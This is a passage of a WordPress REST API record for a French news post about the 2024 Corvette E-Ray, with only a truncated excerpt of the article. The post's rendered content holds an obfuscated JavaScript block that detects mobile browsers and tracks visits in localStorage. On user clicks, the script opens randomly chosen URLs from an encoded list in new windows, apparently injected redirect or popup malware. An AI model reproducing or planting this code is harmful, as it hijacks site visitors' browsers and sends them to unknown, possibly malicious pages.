)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script><div class=\"pvc_clear\"><\/div><p class=\"pvc_stats all \" data-element-id=\"14569\" style=\"\"><i class=\"pvc-stats-icon medium\" aria-hidden=\"true\"><svg aria-hidden=\"true\" focusable=\"false\" data-prefix=\"far\" data-icon=\"chart-bar\" role=\"img\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" viewBox=\"0 0 512 512\" class=\"svg-inline--fa fa-chart-bar fa-w-16 fa-2x\"><path fill=\"currentColor\" d=\"M396.8 352h22.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-192 0h22.4c6.4 0 12.8-6.4 12.8-12.8V140.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h22.4c6.4 0 12.8-6.4 12.8-12.8V204.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zM496 400H48V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16zm-387.2-48h22.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8z\" class=\"\"><\/path><\/svg><\/i> &nbsp;1,531&nbsp;total views<\/p><div class=\"pvc_clear\"><\/div><div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img decoding=\"async\" src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"La Corvette 2024 E-Ray Red\u00e9finit les Supercars\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div>","protected":false},"excerpt":{"rendered":"<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"La Corvette 2024 E-Ray Red\u00e9finit les Supercars\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div><p>Pour paraphraser Charles Darwin, \u00e9voluer ou dispara\u00eetre. Cet imp\u00e9ratif s&#8217;applique aussi bien aux esp\u00e8ces animales et v\u00e9g\u00e9tales qu&#8217;aux voitures. Prenons l&#8217;exemple de l&#8217;esp\u00e8ce automobile connue sous le nom de Corvette : dans le but de rester pertinente, elle a fait un bond \u00e9volutif en 2020 lorsque la g\u00e9n\u00e9ration C8 a vu le moteur \u00eatre install\u00e9 [&hellip;]<\/p>\n<div class=\"pvc_clear\"><\/div>\n<p class=\"pvc_stats all \" data-element-id=\"14569\" style=\"\"><i class=\"pvc-stats-icon medium\" aria-hidden=\"true\"><svg aria-hidden=\"true\" focusable=\"false\" data-prefix=\"far\" data-icon=\"chart-bar\" role=\"img\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" viewBox=\"0 0 512 512\" class=\"svg-inline--fa fa-chart-bar fa-w-16 fa-2x\"><path fill=\"currentColor\" d=\"M396.8 352h22.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-192 0h22.4c6.4 0 12.8-6.4 12.8-12.8V140.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h22.4c6.4 0 12.8-6.4 12.8-12.8V204.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zM496 400H48V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16zm-387.2-48h22.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8z\" class=\"\"><\/path><\/svg><\/i> &nbsp;1,531&nbsp;total views<\/p>\n<div class=\"pvc_clear\"><\/div>\n<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"La Corvette 2024 E-Ray Red\u00e9finit les Supercars\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div>","protected":false},"author":1,"featured_media":14570,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2242],"tags":[],"class_list":["post-14569","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-divers"],"_links":{"self":[{"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/posts\/14569"}],"collection":[{"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/comments?post=14569"}],"version-history":[{"count":0,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/posts\/14569\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/media\/14570"}],"wp:attachment":[{"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/media?parent=14569"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/categories?post=14569"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/tags?post=14569"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}